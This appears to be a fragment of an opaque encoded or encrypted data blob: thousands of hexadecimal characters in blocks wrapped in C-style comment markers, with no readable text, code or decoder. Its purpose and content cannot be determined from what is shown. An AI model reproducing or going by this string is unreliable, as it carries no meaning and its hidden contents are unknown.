afc02ffa717b99c35bd630bf08fabd079a1b058d09520a7caef1426648c47074161d0247f68ea2bc8ef34330902a945a09f8f15d6c6f44a9ca6f808da93b2c7b783a005c9fcd6834a6ce6ebd52d8738b68d3d902ff513737eb034678105e2fc57d4a7ece7ca35a3ff9d74938c917f278fce8dd2357997c853f24f31c2de64bf5b340c8b3da294447bf4f4257801aac188c908277fec943fba72610276c24738579829a4a88397d800e7e2e6712edc617862f2f862e14174531d36d03c36db26d77bd2c277cf7e98adebda072f9ddec7fb8f81fc08ac6d0d50d7a7746714fb485c9b13e97e876aa282b9e26dfad116e3c8310dc3afeb14c8759df24d28f3e78463c45bdf56bb04b2e37d431fd01330fef66f065f85f49a621650428e41723b2606e7e917e36410874b7aad9507fb67e6aacc0edf0b21bd576dd8bf39f5c56f7ae44559234d05eccd2b266cec2e5269d1ec91fcd8dea5cfedcf85ff6d1ac0f73dd66cee7411f8d4e95aa867d005ec0f28cbc9d6e010f8886cf08a8d2d78e3db4f4815fbbb512fd5ff6488268d3339b67534465fcccea9794420dbd342cc32920cd87d0779fcbfeac1ff6ade100dfb1329257ca3df550c4cadd620966be1a440d33222cc96f8476e3ce2576cea15df90624dd06177aa8cfcaf20c87f41ecf88061249ba0a54ccd45506128ab233b7f66c00ef6ad4fb6760a1309cabf99d84d313b0c8b1f2e2f3d442da779d749*/
/*25dd871842a9aac00d8d1b9ce496e59f742d64013706d4a41bdc988d7f8d640f4b07ca50906843a0b9a8295de398c9464a85bebf44f4c0ef10c9881b0abf3a9074eb66a3286e56336daa7cb18b8148b24b667e65aa466f0319e9d921bb4bfa5a32f69fb09dcb846bda4ea7c7d305ba596f8341226043bd4055c9eca28dabcd3b332066a495ab4281f38dc5e910f9afeb17ebe0cb1bc5c6356874a53b20409157f2476c6af9c1b6363449e52b07eb9ff0a24c97c44ae236e311aa76a4d12c4491ed93e8c196d4d06be03f01878fa82f83b1c129583a24dcf3c72a2ad0aeef4b1b37a5b82b8ac16a9631c0f8c1de5b732982e9ba1a1595af813c1ce83721adf8d010ef4156796af70de37a706ef3555aa552ccad7f666c9f66cfee7025c15b803add626a534bf74746452f8e5f4ff9672f4c6f15cb05cafe58dc72b6e1ffa54146fe401059e00671692b8d6bdd8a24dbca7e2a82fed0d1e00ba4a74a513dbb8a96a5382c92a0509d776b287d256a6e983490177d00c579625c17a229d38bcb10919df18dccd69ba0f59264d5e5e1c8e0a1865db216d3525f912ead9c4436f5990b4d1cc9e7202f0497323ae659908c32a11a1690bf4f98fb8d27abdf12d832beff9a211ebaef38bf3fc05fb183ecda88ede3d47d78e7a0db5fcfe62b87b6ff4bba06fd69e126a1fdc48df552f8627455a394a2b272c997bcbc504d07cac545e6671f0c044721f3d0047b812d2cf31fae6c5c7a3ba70b17634c121f03d339006b6a0390a5f1a8fb010c6ebfe1bcb19d16459e5a53d3431fc02ee9e88c5046bd28f6468bfefc374a7027e07a079be176876f51aa802d6c56832e3e952dceb8db6f4c9b6b8811a8ddffc64cac68d3f397c816b95622371c64f944a47dacc50915f5302d9570682649bdf0d973f12a26d6905e44ced294b304c0a63a3b27b4cff6f86f5fc9b576a7b21d995bd55ec65bed94100585005a67cab7ed84ed0415ff956f001f07dd2a3d55127a8e87321b132a19116b0745a0bc7af4bb384f67ac0ca8f26b31c3deeaf0ff3f878c618ec79eac47f47a73118d7f405904596c814b99235574381c182bdc0ac615e1a32015c9d0222d8c9666d35183f24e05e16512ce1f80356af74a894c9afc272a27d1cc9ad698294b6fa728b8c8f6607291a24c67f65434981146c586db05581102b78b474c7fcc3e71e111ca399afc20d43eaca8dee1b6e3f3d2762d317f56dc1b86bc3b63aba1249575771fd723e0274b6f4d73006141093729bcd39bee12c28e52338a97839f5032458986060a1d9314d5b6700ab6ecaa0c66a162206843b543e8e848c21cf652a0c9d6d725aaf5bcec7b6d45aa6096b2274a6664c5a3b123b9d97346d9f2997db110f0eb5693d2d07cdb06fffe899e3fe1d1cd7f4c1b88693c361ea3afcc009225cbc38700ac85e3773e08e3532a663ae562c2ba1f2778ab6d27d46337c1d7af87623a9515856c67bdb846c11a07ba917ce7af11925a710bdabe53a675009a77387abf5466d87257f7fe2d41142a679d11de7eadcfd9e1a0cf19879bfd858e4eab2cf8fa324a59b3fd7fa7d7f73a1dc5b743c64cf610234d32d18380333b21886cf9f15fa801de3045622cb6546991ea86f07a100cc2e40a469d8641e7c751b3c569a4febaf68b085c8d567abca75e29d485f164c632077e2e1d7f40e2b771c18e3a5f2b36f9a08a9b5a460dd55c57bf7dc18446166cb4e206052789de01b4fc678a4d956f94da474299da01c2228985500b6cdf1051583e59a991e90c0b25bc6d7089c1bba76e3da07dca3852d7a20332915c4a35c3bedcdcd1fd2b93661586378eafe9d060cf265f2a1b9bfc905f5d0b30aea771f0bde04efff300e0c47cfd3b795fb2bb7d89a1ec419c5685a1610a61f7bb4f46a92fbcc647afeb8336e435f72afebf2fc2ab9bd508753c7354d2120e731c601e554529ab1a2d69b48a8a38dc92dfec73206fc58163a74f7e7e87ffc2db3a42c94bdcb279150368ef98ec7d3dc03fcf67bcbcd13d8e0559ec074794741298ff1a3573e6fb673fec674346121fd24e6ab4f9cf02f41e09a38e3542fd6d4b3d2b5918354ef210cf04d7a03fc8b6c5f99c476427c20613c2c6ba24f2e041a558570d684dd78c9a1fdb9ae7e10d95f4f70620f935cbcdaef37234ba0b63b6a6fe7c996d7949db253c38b18eda036e4391d55aeae24853fae46d610d141ea19e1633800120ffa972b7d7f3dfe79690861444756200fec8e45ce14345e7abfbd372f96e9cbda26fe36303635556ba5f14b7c50524bc9c1a0d89fd007d9d4162ac97088ac03205a031a183ca861515d5dffee8755dfd9389cc5cb79fbb40bb8e6f644b67076cbbe90d2e3c2f33fc3e905e702ba7909b5bdafe8224c1b782984a3134638370f50aebb242f2b688007fa6847ac9f130bc9d8f6aef621a1158267175f173ca6ac6082db77db7b0e29c165f86c99fcfc9adf86e95262d9ddbdb1ad4248eb112fa10916ad3101f0b8c6e888dd318d4e8c2726ef99f2c26054f83ccac8f15697253b5a5c2904201cc27bcfb5ee92a991c867f0bcd49a7b1d059ece51ad95392f30e6d3c88182164b70ce66039e6a8bf61fd6d47370bfa2852e496d350e961ef56b5c89797b8cebd15ba54a0dc5c43946675374401e250b7ba678b72904b665a513a1622174bff480a74cb134dda17a8e73ff68a95b06cab11119afa7160010f7304fb6ad04cb5a49f8510c3b27cb5773ec728f942b932ff7c0a3ccb660ad6f9f337a990917d6bf6c97f0f1e8a57c4fb5e0451b9c31e99deeb13d01f2775c330fd0436b84530a3a7672d9d*/
/*f151361658b38225c329a9863028f8e0bd02f9a24a41270fe1090e08bac124d8e2f540a1c2502d9475b27d66b51844678c7989fc8f5ce2e77c74b7d5c2810ce13dcd1a91e1ca49b2689a874672f467c8c786bef6ead609169d4bb4438ec20bd2756b4e59108e5a09397b86ba8a9b9d25afeccd891ced99a5db4cbf23be29212336c9545c339350f3c115dccb84043849132a1fd743b74dd9f14a3a92be106b04174d79f4fe50953fb23a7f86ed22683081a7563664250f66071839e42ae828b1fdcc4d12b9da3a128db70ab10cc3260fd6ce6cf83e3110adf1d062449d790528ba61e518865976c49239741a19b3ea8ae1c037911e14ec3e036e799cac6d23515b379b8fb6858d411fc9acb7759efd2152ef00600d6e0f746171c7a9612724335091ed2d860a37c2dea345648a55546c1ff9d2670baf30aa60cba974d930077d2172478c84440a61bfb6e377d37c407ae5e44eafa04c037b41a1401847a853f8c7a7c06a9679644918401c94d3e072ce7d124f181496ab49aa210032f853f894dc9312b94b98e8b0bfc31169f3f6ae52009c3e988d727a39ca3b71e8cbfb82bf05075f655a4e2d6985d6a7613936f3b01ab42d16af93807ec863b84f5e37d6a5aac5b404719c1858c1dc6c8af7ac4558ee79f87f0dbd2a3a3a338db188ae24c601959be8d4aabdd74db321c3aaf9e9f2989772d23d7bd1d18b74f6be6c84bb3972791ea6965abeb1dc8cf3d6663072ce9eb53a2eabb7edffc58ecb95f4af9c608189d177ec4d23abc4a7b25bafe9dc5d5e143eb661ebda552cc1fd7be7120b5fc68342c1dda27a8abff73356941cca389a97ccb0d53c38296ec205bfd91f514570af7ce647e1b89f08d3f2f80c10c25ca96e7d7d7d74372e2860ca28023f7d7986213aad2fc103278b1e37c5148ab9ef26079771a9e093ca80226fe5a3d0b4df0ac5cbb3a363ae44d81e84ee7a7fd3d1f62fdf51d6735db5212a8cba57156201c7f5e59908bc8c55d5a045bf1e1389ba45e47969d46958021517c351f6536cf0e8bb3f3a897ee5290bb7b5593d9c4e615bda3ab2429858c469eb7f4d9e80670b952de447c5b2bacb861a041407a689d131800d2b9dbe47356e7ab69e0d78c94416a320fe3a343aa9550b6710a5b2c1a4c46f3708e5c1c12b7a9015a4b8bb8bcc6277d93224603371089e9349af936b94bda2e39429e57617993d28ffb328998118def7ba7701e0b492a601d2d89e602715d3e6de3995397acb150ea355aa9b483185fcc6fad141692ea4a51b9933797f048eeb802fec2acd4fd34f6d3493a7d77692884666db37c0ee1c2e323489c5e75a455057116096ccdaf1b93ca55c3e7219bf1312fae7311014069cca596974af528e73cfdc8b05ea077b24fee428d7d29354c21bd12a91605a4c6bfea893a4c820ee6b42d36759ee573b4957d38f31631250583e587fe1684ca3da860af42cd87ad24b137b5c5983389982104bad1c0f5c52329faa7486223f159fd2861376e320c6539ae29f1e935528e1a4e1c71959e1006ab809b9d4a9aa48a6f3e2c138c818e5c2a5a9fcfcef8597be8d806844cff7340d8c79e12ea8cc30719118d0bf23db63f314c4fe546f555365f386987047209c5a24247704def42cf36c7253abcbad83f3e1a4380d5bbbc24d6cce98c38dc63fe7d092c412ea4538c15711566d7a3aa33b1fb70c459e9b473ea205925da82ad42bd15df108f622bd650d7e211615b3ed04732cd8edbb98fd44e333bba5b1945366854fa902ef88e9ba9b642c12904daa35a404f58d3ce5408b68e209836560eafda189f02d0912733e94d428b89e0ab8117b6b5e7b874eff34108fd3739775fc656c134a1d30e391d0720f92fa9f3d728e74d7db1b963ee83ab88b938748c9fc423a7c5764c0372f0ad424572b2d05544ad1ac61bf6a5c7b1283952571c3d46551dd78cb785d37fd18f89bd0ebf6b59db982fda2c6b5deca2484d74c1e74d4a5c7e50d2dbc3043aa646a209288848d0462bf5c6119c3990929d8930048d31d82b0563487bd181e3c8658a29630993cb38dc07f005731d8a7ad54fc4ecc36697f2702a7f80541aa303fa06178980549a581d473d75a7d65beb6d64539ad970aa710bb18a2784c5b383b69424bdfa17af29e54fd211974aaf1bcf8cf0bbc464bf73dd522abd5646511ebe965b2bb7f161b20180ecddde4a9e63516bc1a45797942b19fa0358a7822ac89a2277fbbe2192dcdb593abb195fba66b513f3e6d1ce0297e81da522acd5250f42c282dd995cb46efb4cbaa1509465d9afb986d8cd42b9e75ac13e63df98034ebe1bdc8c253a4680aefe0e5612581aa2b1e10dffb75537ec50896f29c0f480f3cb489aca611cca22b9b41be2e74430bee14c51458f47c7d3e051b00cc4218797b85521665bc417c6a9c39b3da51084a543897d671220607ac4be11a6e00a28d884afab30f76c013a51f3a11e44970991480479d194ffbbad79d8e005e0f56d5ed6f3e6524f1eb7488f8ae969d91f1dd76662e38b233090477838666da25ec22b3c27d78fa6497835cef5793631c4c2a5ce572a6258a8dc0f021d158c33daa79c46cafacad5dd4c34f5e3c74ef0e715f6c45df23de5f20f792347f251513e4dabb23b02dc05a6cf1034c512bd6ec15ab9689c18f545f4298cf972313f0b65757526b0527636e3a71ffe91970fdfead863e888c253a24c349d5a58f3c25accd28e804602b8d08200d3b11ee1a33f80fb3d0364505ff71b8393bd5d5923eac5b66ff51cfc92986f3df7c1b5142eb579f3e84a930d2aaef776832d859eaf78212324b11a9616e7b*/
/*ff28c20bdaa23e6435ffa3fe6770ecc4c769490ecaf59b42a1924ea4ca861893e21d46384a7abee370046571673b8ad19b560e40487d568d0b1f2451174e40c19f438f61fe59cb4b7a9695e8d4ed2488f4b1a0fc95138a068d3f590a7df8fd9f773dd88feeab6c6ad0c863dae5874aa27a5b2a1b13ba0fc6e56c47924d3d391a784ab777f154c62fbcf72c1383e9c9a8360e909b4740e4231bf85d3aefa41c1f0b641684adad27d1c5f138ad967553d455e34291d4a5f0f445e54164e6689e0e87e22a903596c958edd560a4a4dc03d0d008e7d98911f1d557e45a2a0e5a9fa25967cea5d33ff5b8aaf7d34641e9e3b2455965c6b37640a902b2fe0ec8f09e102752c8446c9fd114a5b5470d3ad8a368e7b1f5c1635c42a2581a291dd11655998f7391005a183b1919031d693f210a36fd39a43c3ef0e4117d498dfd08d3d830de56ee752b025ef95a4a79c490dbf9ec2344a593b1c3505ec0f4caf31b17ac2c648d9b1fade7ccc1d52fd5ced7216ab6f6bff98cbfac1970467bd49b85edb2d8d23cb5e0fdb40793c8377a1e1f551f0f29f61e7adba5d48bc44e860399cf1a6b07f6b422d62511edae727e0892b4a68b8256b74a6fd04da91749c2e1a5ad6837d3c7d05644b7fa00d1e0d807ef5c8489cbbf593e9cf5028a3ba6f90897fc823b818157c4961e5e13bb375f320e8efc899daf1d2a455b243d3e36aed9f3aa55106e26ac915b548551d85eb83b98856aba237ff7cb1c44420a75fa4f533401cfef762e9dad72c8f84927e4fbfab64fa4fb7e47ef7ab80e2ca5c3913847556201c6ecfd44de5d849bcc4d77cda64f18d0ba31d51fba5a1008aae2322017412f67e4b4704d412f62feb9ce4b7197f8bdc20d85f93eba6af2e6fd51f56a26392e065113917b9b77a0b9acc22b165e83609a9cd6fbbf518a96e31233c9ea26d7500c5e3637db2001d37a8f98660f4af5791a9a99ec8618fdced68ff2c4ba18cef34358a2dc69fdef9a5650dffad5f44c7f8c82e4e537d001e2efb8cabeeda4ff79531db15a57220a300eafe4c6eb11699c012f8967fbb5b15c1ff4c648c0f625bb3c3ce8c29301d917b816455da6c6ec9de0d6085d2e122b78011c655b9f5b85cc81a1235b146416408352ea894d062bbaf67b3f92187964fd7c0f9c7c5e375191323e011f890d5ebd1c75b375cc0b8aebc8f2c6fda34fe66286c69edcc605b0a6228dc71c9a572b44d34a8f2197592d152337cd319714c234f2edebc52e07e4f69abff41c169a6b7484ed5b0228b9ae1900a089bcd701fb5fe9716dac979a47b0a79cca3b1ff2c6db92bc86f3a5589d200428a6d38e26adcd9d4b350bf116d475eb7dcbe24f192625b3e2d7962aa07e04e44c2648eda60cf94bb78d494325a4ba09a3bf8b7c6ac5053ce099201c537081c812b7d952567c9f1f16e69731ad2b8850173f02807877c6d219fd56aefefcea06c42d3be68297b98257ab518790394da7fac1c4dbade3c6dab4c4054b5e785763dece01a4933406dd43b9b13db0fc23f8f3b55c00c16592b1bafea7d46223804b1ff9782520cff2d1347959b510bbe45173298be66234262c2b3866d271ce174c1a115f7f1757d91ec19f8e1f20a696ab7ca4b84b4bbe55a079eef81018a9b23534aa84582a1b8d20e7cd5573e990cec7907c6d05b503e81c84f01292ce84a6898d9d53a55bd9a82278fbcdf59ed3d9b1a98756f65060dd8556ad3a10365c6c4a89b1aa967820b41dc34af07e9600770b060a529641cbbab6153d1cdf172664735e2e1ec3e5865bb722e5e4c64e1c20840840000a5374288e67106c974aadce78dfb6a52d40e8672e8f81349e83e4e7492da077170f1ce3b166668b7fa8800983207209a96515002c70d177218435367165a34ab31d847d304b9d439cf594e9b28e04c4b2914190f76d512febd3bc6c5f70a1e5356761aa767775a91332daac8339a1229a537e3262b2f4938a8f8689b406e8c5da8cca00027149d09dfcbc41a1bb57aeeb6dedf94d94eed7c17fc788abc17526950f0213ea094d56f02fd1a3c283cf30fc7f5fc83da571c4fb92a1aec1eae757890a399bd6588e74df2967358c7c65296d39058ad37c978708d6e2351cae8356beee6d9242b5a816b5167d8ae2e6c3140d6098b506a140c656b173eca59121752b534bf220562119297265cd591e8d1ffe9bd0f323920ff0140e0c0a323d2806175e85d41ce141eb8a76ee22791da0f82dd3287a0bf3d5cc7f14a0ffd2751dcb0d9f767c7dc71594aec058ea0040a4ef3e4a50c99cb7a61d1c9cb4917ca097a56c289a928f292bbd725a7d6fa6348dcebddaf3aa6937b8b23317c1f5b131f04774b5ecf8bece0e128e16d4bcf22887257d886205aa91ad340657cdc4335678faec768ffc17c2a6a7d948f4f5234f9cc112c7e9738a2ea17521c8c6ee8bee54b8abd9cfc52dff221c87d6b925f58247fb5f861d158fef5403b1683f5539670af25f617b37b92a53e3b20ee25473d44b863ed1f94952bc85def5c1e7245eefdb6e30484ed24c71f6d9594e9b516bc86f614dc2ba1a91565cebedf96bd4ad3ffda1210f87e7a59ba4dc9aa4c6ab0c78389949f4e920b2ea3131469570cc2158806235613bf62a2f8a1124cdec57cd2786c019f5e86115546e49e0745f54552480dab21d1ffb95a3f22fae5247ecb09cb56d2b8fb429198690c1e0f69c390f66d77a189de6f404d36dcbb50020135be8ac96ddceaadb9f75feef26938d80409b9cbee5b9f2d7e9dbad20ebc92519771269ea761284794bc91be33019cd189c0f33e24ce78cdedacf9b16086f77ff1cb1*/
/*52626e2269bbc0c23c46e4aea7036ea2ec7a82e5e327c634b886bbf97a44c2d296521a81c39a08e3bfa0fd3cfedc4765611cad88088a42021d1935874a678d115711adb345b2ce848370fe0d25dfedaaf8cce536339038b958a68d0c8789ab36e1283999086d5a1c9520c17818959ce284990d503afcf1228ccbdcad52fbd44d56512eb71d4d57029b2c978b743ccf2fbe4261d73b965ee3a08ffd9d33a5fbab2afe9126e078fe61618158ce17fa5d104a004f07cbdc6de221163df00bf099955001d2ce4fec7e9ccfb3437e9e23682ddc339c065fc5211a9cafc6f1bd99a6c9cb121578f57b5bce59a05d1a7787c4eb938b693afaf58cfd5beabeee0d89147cfabd684b7c97ff638e9c650fe57645c9fb86272157d2188f4d97963407f1f938e6cca8408db6f642b44f2fed254903fc5fc9f204916dc10d8db729040b94d821445ad0eff22e540f34c7db43e985dd81a8aabd1261e14fb114e5989e8432f13dfee354a404aa6d9c4ad45ab87cbea3574c81fb227aab1967cf6ec726d615023c687815040abab828583219481a8e68af4fc51c91b2146821eafa1e733a8588cf7cf17cca6841644fca400792c0216fa1d9ab7776833c731badd87005a032acbeca77d9e38a3086887ee3c8c83e47027a7e4364283c6d4c571cb3ef9d75b38f78c4281c9b48a9d340ddf72f8d005d9241c550108a7eae8c24f8a8c75f16eb79f4c22a361ba03c2f3c17d1e0ac7bc931e706199cb1fbccc20aecb5e4fb72e5269549b2e0f17ca9e3d582ad1812f0cfb6d47dcec0008262d61156383ad24a8bc7b911f1287921a7ddaa23679698885bc3ed0db5a39a409283361fba5daf919347e1e517054ff0a8ebb35fec1af963b53fb4a6ff91183436f4e3da1496adff5fcf5406639eb229ddbf716a4a70d9235390ffa7286b07ced54dca69d01518a272d0f48f6eb33f34a3ef0cc5b423d88b27d60aa663d059d9a2c94ddacc9d8c3611409aa0b277257421d8b42482bc0d7a6f530e223ab0e26a4bb71c3ae8634dc88735b087cc332da4a2ef1e98ac2e0186240870777b82f72ed26b820ae9b8cc3f62b3b7ef8b72c7fae83b82dbe6c67e0016ab21ab9a6cdce62cd247a1d4f2c2d4e5e24ee80e4eb04dd4a1c4604ec8914fdb344dd296524e8a463edff91cd9ddac6bd5405e3201b8cbb32bfe50ec1b15ee2190519a2f0b1925d70e2ef91ae1ce21f57576982877ff76f7ffe0f131fc3f28e9feddfea6ab6682977263e5418142adeffb6408dfef22f05c9132a4485da49abf12b80b4c3fbc000b645051475c867e3dfb0e4cb89de63a9a8c6ad43bf07929ec3b8135b289e87db4b745a5026429698cf94f9cf54c08ce94ba4f01758133530326b79504f9a72e7efb4ff624fb1c82d3a8cb64d37f6cb5532d4a656ccef88e9a37866f70993a783457ab131f991a8008ee251cdf4fe323731dcad9e421014ef0801e26270eb419f096392adc69e0453a4505f412cc2c95ff79c04612701d12559b4148f4f9b11903b01d03f983b487f08a66856f424ec5ffb2f80b0ca473c5ace66e1470338ed76f98b0611b2dd6b019d884555523911031ae7d4b231c3f2b587c723f5e4a690dd351b9d6f330c3200955870faa6c4c2404df277b273f62177aa25cff481b2449faa641aad2978302079c26fab5ec985eb9f807c5cc6e38673b939751c0d5719e096b1646f7d68383e643cccd9dfd698aedbcffc4d7e362aeeb4e1a2a06c7b2084c605fbf310ca5893de05b7e109d8a2c31ce858b12998d0b19d34d056826b612beb10c110f576780c8c166ead057e99846eaa012d8332c28ae59c91bcaf24555e544443ae6529d0a9ca1daa0326123b785bcbe74652fbeaadf40ab2d263bc60071cf03a4561147ac72dd1149b1445601638981003caa713f77ed428746a1dd8e6c84a22a5507f170d1c4bc5b1627070c4b70a9a8d13916445f86b4a1a194bc04cee82c0cac7f4018005ffbb3abcb7e61439907f6a3c027b92c81d8259b6c3109af864d54f6129a709044c0fb839789091bf4e6f01c02f2f47bd87319e092c66563dd1882bd5509ad6fec77b43712fb115dfa87d4a22bdad83054712a52defc9482119390daa82b743ec51ea6da59c9ef74ab4c434cc0540f55ac4df1d506e2981c5ffc24fc6f0f12d38cca340f74bb49e0168e43a99f7ddf8f6813bfd5dc03aad7ba3215ed64175c88f14b2d245fdb5ac10eb8b36338be399b289bf689e1b510b99df85e6401cfee383457969da64e3facb8693557591f36ec8b186875b0242bfa46e77b22139baf6a4a8bda6397e98bae7ef41085ce0ff4852236a4ec2dbb01456bc22d3448ba078a0695c9d5f20dfa577d7a7be7df0fc03a349a9d476e86dc091831ad8a61e06f625687f2e61e4c5bdaecd7b498672bfa0b674a1c1fd182d3ddea85d81d27f30d33284f757720157b3d50f49084b8f9db2881202c70008d74d2561b14d054e27d53ae8d2cecab09c22b50044ac395346c4984368e7617b4db2092f84239880f0e75362ce081987411e0149731b26c65b8870d3d675ccc2db4ccad5e9dbf4806992d3e292611e8b0ecb8d7b75183818e6dedbf19e856eb59c73155e19dfe90133a0dbb9d426ee05088cfdeb71295516064499d50f2020c18bc4235108c4f85e6022629990df9cb488ba1e42440e9c6dc7be7d2920f2d558aec64ac3b70172205b86b4b8189fde1fbc249b4938c8a51e90661378e309af7f9773c7411da7581fab5a14aaf8b925c239349572e2a46b78924e3b59b0e044555d182fbe73b177bec628aa9eb768fdcd0528928991ea5ccfc8b276948*/
/*43aac53ef341e73a5e9fc7eac9b8ca68fe27dd16f920c4e83d1cb5b12a963388cfd3afb0b5cce136405cf4efd165c0fd5915ca76c70ad50d512fa451c64c74385b17985f5b39168afc1ba28c2b74955aae0d4ff8b8ac4eabeecf8554c0d67b1ad7bd48dca996714949bcb69a283653d97f0237d902ffd1f42a611c87d7613496918035588844093907ffbc2985994ded6bbed2cddbc53500d0f1b1713580b02d528c185c3a29d94585bd41f46a129d5f4ecac962e97451ad2ca61037f352e2ad9b5404a17132ab67f846e59f06612e03addd0349b18d8d25dd24a91fbbe1c9a071988edf5aae1b577c78957fac82d2558bd3215d06c0bb0d73af2801de71a64ed12c2140476bacc43f2c77d8a64e8746b6a544c2e70e59b3b75a78dfff4e0b4a14933f2fdf0cfe14f67fb8dd5a228a120fcb40d55cd8b393cf7056033f0d14576b03863b363daa0ad68f531fe0b208788c69b64892a0c36b6596f70f31941a1556d02645082ac6f0308f919f0b8e4c0ecb66916c3bb27748df2730d87241fcb4d5bab6e51b635f742ccf52bfcbbbe4ed880f44c4b09dac22c74466981b69c6ef3ecca3eb2d6cd8e9db2988dc6731c0b8d7bf64836b78c18fc1232b5b308a29240f32c0590389c16d7d1baf57386db8c7baa3f4c9fe182d8505e6f20370a8837c79b2ec61a15adae4d413c471b5b9911b656b586f4ca32683d1e3acbbcae8882977a0ddf9622bbb4cba1ff910cb88fe450821c2597f3b06dedd669a5c45669e9d231b1eaca9ce0789439f62a89c436d0d08e48d19a374b3b1b0e2004f1126d3c41fb0732e28f737400a8ce8273ad8bd3ef96b759050e6e110168febcfe348fa8b0f526933ea216ab794880c80b2ed73998e86a4d9f1bd940a830922d80b559c95db3c1dc18dfca7521455ba8bfe4d8a6e70668e4a872aab226e3004875483227a8ff946e629aaaf52640a1f598cd8e705ca01b6cc23e2c00eb70f94b1208114a96b608c66c5b7d9964cfacf0f767572f1bcee8cac20df56ec19e77c78f4b6ac13fd320b8af85d7b734821de5aadfdc008c95495e32a802dd414c6812f7276f0263f46ca3956fa2a3b20899030d8c21016194727e3cdaceccda2fe45125d2339dddf162b002ff6e71377139c1334043ee42672551c0a2b674288e0b661a21fbe36760db397c88848101a63877cf867f14db66b0c6b9a949911852f86c1dfe9ed5d91cedb46c285641c210afff1dbbbae89ede9baf26be34c722591975a4620a1329cd4928247df6b9bbaae7fb8cddc754014b2cd5d0beec6075781fb0cc59d049f3172224f83f5c71cfbcd3c83b7ed0924ddb414ffbce24265574f2bbeeac2fa49e38aa7b5c819c8fa336cc7c812565b07696dd040ee9b85bf0bf4f8164c203519140c4ce10ce388d5b1bf3977c7ef324e6cc6da2677d7e8df913489c84427cf69f75e8cbe4f17214273c66379dd66c8e25b2d5249c87341817b476f39045a029d1d11621bebb73c51c69721d09be9fd6338f79934a6d3c29fc4abae8bf036d1ddff91f8916276dcb014c6b25fb22758af2a25f8f329c7222af9f47689e5493a1a3f233e01e9730e6ac7e74002d93d106a3e2e749451b8f54cb8431ff5ec488549becdda0322077091d333bf4bfd3593f91849d9c9d8d49ea4f9a2c837d7859d3edcae2ead10a28a0fca51eabab820f69b61dfd96007dc633ae164a76132c480cd562cd5a8e6a6b4e619b6db3dc0b01eeba09eb4f039ae29d2b66085d0958dbb9a36cc7a77ec54c91b083edcdbf5d850a3f489fd2afe74cb426bd31c9c594c4ac98455e4cafdfd054637c3729b8adabbef3ed613acebf83558397f8e3472f04c94cd33b23ddde176a59d632e20658a267ef4cf37c65004bed88e552e1acac2cb5f122f9120cacb08db4f78b59b6736c18ad6d632608435a02c98d22c258e9bb12e769ea387aff178d33a7a7904bf1496e91c6cafd81206939da19ace0f46e9ad375493946c5653b288414202cdf53ed18310a63ede17b8351b7f84d69add747207438a2cd76553930a222c2334d4121ce5869144c1d60c2c2bbe4fecfabe806aa8902d7709b08aaf2660d048eda703b6559a16aae610c3c34659f277871b02b857cd7aa1796aff3591212c25310e88f1b66b428be7147af21ca9fd543a6333da1aed417117a9630f7a65ab8aded3b214fc2fd6b82106659c89f5ea1ff4e88c71b248ad1470e29a96845cc19f6f6af42f76a0f8d58b8f8870437ee86937840b203052c663523f7285587ae8fe2e84f24ff3671c8ae895d5e1a7c7f790ceba4345ad487025d154b00187457fe355a961d675db3385c64e587a499e6d6b00ebdada09cd7103c68f27de3036ddc8f7881773d4b9feb492d64dc19617e3062c69f1ce1d58ff47eb456a8e3debbb213e8c326c16d7a578e0702385ad43df33da60233598dfc94f18f304bd96ca2c04d14f5db51095581cd141e4d4318963cff0129fc618ddbad6c764b25c9c48df3142c00d0db1efccb25a7730071da5745293b403fbe4467684b7527a9871979410825f6dace6245e9a4bd9304139a1b447be05526fcc143ed11ade1934b3fc9df874f3c0a542a7e894c8013a9ee8df6619888596a17b4e67ec6d434de070dd6de726114cf97c162c56aa27b0747c596328267f97a4e419e81a427de86523cb6c7f98ba9fac05afa4ed4fc0dd21625b0d12d993b2e02e6765af316864ec11862ad816749846f28cffc3e4a9f70c2d2ce09f52d6aab5373f405acd0134ee9258efe07b9c7d396f4eae4e2313955525e01365a15ece2b71de5b9139acded1ae88002380ffa40aa5*/
/*ff3f1adf320d3bfaa52b7d87ed5483df227f7264cc5140757c150920c18d649b7b1f4f9b2bdd91033be65dcc1162cbdf8e8e2a72869385d2522ef01ec7ea6bef17992a1519784dd693be7de3a066725a8aa09f717b2db6de097f2f310bf7abccb5f2283bdee4f8bd62b8fe3c6eeca21f2e38f4e753119e649274cad882e2612654b53d441292a9774d251fbf79beb99734b6253484f72465323983a77964dea71702ce5e522c36688ef34c5c5fdf30891af073e755dad1f0a0fbf765f15b6ddbe1d479ddcc40e59f3dfd7eacabd9832ca2ff80ec64250ca51b725827683b8ca781d4360a3aed6e9057207ae2c84388b8fde339184c49afa481c8ad890374fbea644d19690915558fb611ac7ade7a1bc9c4b1e03ef8cb87bb69367159c3ca30bfcfc1aa0b70b3b88afb61cdfd9d7cf2b3fda617e301dd57f153ff4c68d0d64ace6e63135a1e6d2fcd6b652c8b55c06c3d9940a5328726dbb17f4ae5bd11fe0d8070e6082d3790a522b05c2b900800c789529c896093bbd454fb479bb0eefc54ac6f6ee907ded812d7a15cccd89ab8738b99bc22ea0db332107346259fb380c0da43c904b6fdce3220772cb952d2c4c745b346ec82dde660dc805388ebd4e4e70e34bdb1f77c53cb0e779ab306fedab8002c16e4a01e752b45f5dfb4c23098e9ed9858ce4a3adb298a26d81a9aeffdab60d117c9173da9aebd4db11a06d8a9aca7ed0aa34114ad98987c3bde1d95b2f22b5a7a18f9e1f2d24f44d95438b3f4b9821cfda6f7617ce7f99383ff496c148bda04596e05e76e0cc56e27fafa94297b044c6e8e67623e7fec2c0e1960cdd8573324321c3cfa629f01308932f8ea96ce746beb472adcf496c751806f0410cea980f7d5ae7462eb8b46f8910dd6df5abc9e5bb03d37182c580578b921c1e91cb9b4d643834ce4546cd75e6de8fdf4de6dd050fb9abdacd06762653100f9a08f8b69bc3dfd726185cecbde50bbf996690713118cfb387af705eed66e482bb907295f4fc2e0936624febec6c20bc7f302fe81b748cf63fa0440d9fa93a8fe8c84f6cef38da804808c669ea26c02cfbe1dd8ba2a5de9fb942358c61153cd20a251f478a10eb600fdbdaa5f139bc20c9aca8bc5fea941f3c3972402f0f3580723ea91e29f254a479e0002c5441bc2b3f1f803fc282609618cc6d112f34b63d8a30ef8e18d748acabbbf9bf8421511b2cc635245d9ba64b656643036cd7fe9a149a74ba984de75aee0f9e8cc299a16d4904e94c7b8df62d39ba23a7dc8266f44389d7f204cf0673a6355ab7600e48bf5c95e103d8b5fbabe21f995ece8f5a217982be6cc826695a691b8a2f8853132da2db83d8e2c28895be3a5b34d28458ce2f1996e3c478ac6e948239658b